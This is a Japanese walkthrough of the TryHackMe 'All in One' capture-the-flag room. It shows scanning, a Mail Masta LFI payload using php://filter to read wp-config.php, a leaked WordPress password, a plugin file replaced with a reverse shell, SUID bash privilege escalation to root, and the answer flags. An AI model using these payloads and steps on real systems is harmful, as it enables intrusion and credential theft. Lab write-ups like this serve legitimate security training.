【TryHackMe】All in One：Walkthrough

# 概要

TryHackMe「All in One」のWalkthroughです。

https://tryhackme.com/r/room/allinonemj

# Task1

## **Q1**.*user.txt*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A -p- 10.10.45.39 -oN nmap_result

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.6.55.144
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e2:5c:33:22:76:5c:93:66:cd:96:9c:16:6a:b3:17:a4 (RSA)
|   256 1b:6a:36:e1:8e:b4:96:5e:c6:ef:0d:91:37:58:59:b6 (ECDSA)
|_  256 fb:fa:db:ea:4e:ed:20:2b:91:18:9d:58:a0:6a:50:ec (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|21|ftp|vsftpd 3.0.3|
|22|ssh|OpenSSH 7.6p1|
|80|http|Apache httpd 2.4.29|

ポートスキャンの結果からFTPにanonymousログインが可能だと分かったので実行しましたが、ファイルは設置されていませんでした。

```
$ ftp 10.10.45.39  
Connected to 10.10.45.39.
220 (vsFTPd 3.0.3)
Name (10.10.45.39:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||6969|)
150 Here comes the directory listing.
226 Directory send OK.
```

`80`番ポートのディレクトリスキャンをします。

```
$ dirsearch -r -u http://10.10.45.39

[09:43:08] 200 -    2KB - /wordpress/wp-login.php                           
[09:43:08] 200 -    7KB - /wordpress/ 
```

`/wordpress/ `を見つけたのでアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/997670ca-0c26-93a3-547b-2418603cd68b.png)

wordpressの使用を確認できたので`WpScan`で列挙します。

```
$ wpscan --url http://10.10.45.39/wordpress/ -e --api-token <api token>

[+] WordPress version 5.5.1 identified (Insecure, released on 2020-09-01).
 | Found By: Rss Generator (Passive Detection)
 |  - http://10.10.45.39/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=5.5.1</generator>
 |  - http://10.10.45.39/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.5.1</generator>
 |
 | [!] 50 vulnerabilities identified:
 |
 | [!] Title: WordPress < 5.5.2 - Hardening Deserialization Requests
 |     Fixed in: 5.5.2
 |     References:
 |      - https://wpscan.com/vulnerability/f2bd06cf-f4e9-4077-90b0-fba80c3d0969
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28032
 |      - https://wordpress.org/news/2020/10/wordpress-5-5-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/add6bedf3a53b647d0ebda2970057912d3cd79d3
 |      - https://blog.wpscan.com/2020/10/30/wordpress-5.5.2-security-release.html
 |      - https://github.com/WordPress/Requests/security/advisories/GHSA-52qp-jpq7-6c54
 |
 (中略)
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Path Traversal in Template-Part Block
 |     Fixed in: 5.5.15
 |     References:
 |      - https://wpscan.com/vulnerability/36232787-754a-4234-83d6-6ded5e80251c
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/

[i] User(s) Identified:

[+] elyana
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://10.10.45.39/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)
```

複数の脆弱性と`elyana`アカウントを列挙できました。

`CVE-2016-10956`を発見したのでエクスプロイトを試すとLFIに成功しました。

```
[+] mail-masta
 | Location: http://10.10.45.39/wordpress/wp-content/plugins/mail-masta/
 | Latest Version: 1.0 (up to date)
 | Last Updated: 2014-09-19T07:52:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | [!] 2 vulnerabilities identified:
 |
 | [!] Title: Mail Masta <= 1.0 - Unauthenticated Local File Inclusion (LFI)
 |     References:
 |      - https://wpscan.com/vulnerability/5136d5cf-43c7-4d09-bf14-75ff8b77bb44
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10956
 |      - https://www.exploit-db.com/exploits/40290/
 |      - https://www.exploit-db.com/exploits/50226/
 |      - https://cxsecurity.com/issue/WLB-2016080220
```

`/etc/passwd`ファイルから`elyana`アカウントを確認できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/2b51a7d8-8706-cf60-59ec-a5b1e7aafc1d.png)

LFIに成功したので`php://filter`でソースコードの取得を試みます。

https://book.hacktricks.xyz/pentesting-web/file-inclusion#via-php-base64-filter-using-base64

`count_of_send.php?pl=php://filter/convert.base64-encode/resource=../../../../../wp-config.php`パラメータを送信すると`wp-config.php`のソースコードを取得できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/91ca5357-7ebc-81d9-b18c-c959f7799a81.png)

`base64`でデコードし、ソースコードを確認するとDBの認証情報を得られました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b2f6c0ec-3d5a-d899-1dce-a765dee0b4d6.png)

得られた認証情報`Username: elyana`,`Password: H@ckme@123`でWordPressのログインに成功しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/659c029c-8dc7-b494-c76a-443a137d5fb5.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/80152184-023d-1950-040f-3e0d3c630b99.png)

`Mail Masta`プラグインの`view-campaign-mail.php`をリバーシェルコードに置き換えます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/5d820222-2cb2-ab31-3c63-114441c0d2a0.png)

Netcatでリッスンし、`/wordpress/wp-content/plugins/mail-masta/inc/view-campaign-mail.php`へアクセスすると`www-data`のシェルを取得しました。

```
$ nc -lvnp 1234                                       
listening on [any] 1234 ...
$ whoami
www-data
```

TTYを設定します。

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

`/home/elyana/hint.txt`を見ると、`elyana`のパスワードは`system`に隠されているみたいです。

```
$ cat hint.txt
cat hint.txt
Elyana's user password is hidden in the system. Find it ;)
```

`linpeas`を実行すると`/bin/bash`にSUIDが設定されているのを確認できました。

```
$ ./linpeas.sh

(省略)

╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                            
strings Not Found

-rwsr-sr-x 1 root root 1.1M Jun  6  2019 /bin/bash
```

`/bin/bash`を利用して権限昇格に成功しました。

```
$ /bin/bash -p
/bin/bash -p
bash-4.4# whoami
whoami
root
```

`/home/elyana/user.txt`から文字列を得られました。

```/home/elyana/user.txt
VEhNezQ5amc2NjZhbGI1ZTc2c2hydXNuNDlqZzY2NmFsYjVlNzZzaHJ1c259
```

`base64`でデコードし、フラグを得られました。

```
$ echo "VEhNezQ5amc2NjZhbGI1ZTc2c2hydXNuNDlqZzY2NmFsYjVlNzZzaHJ1c259" | base64 -d
THM{49jg666alb5e76shrusn49jg666alb5e76shrusn}
```

**A**.**THM{49jg666alb5e76shrusn49jg666alb5e76shrusn}**

## **Q2**.*root.txt*

ルートフラグも同様に`/root/root.txt`から得られた文字列を`base64`でデコードするとルートフラグを得られました。

```
$ echo "VEhNe3VlbTJ3aWdidWVtMndpZ2I2OHNuMmoxb3NwaTg2OHNuMmoxb3NwaTh9" | base64 -d
THM{uem2wigbuem2wigb68sn2j1ospi868sn2j1ospi8}
```

**A**.**THM{uem2wigbuem2wigb68sn2j1ospi868sn2j1ospi8}**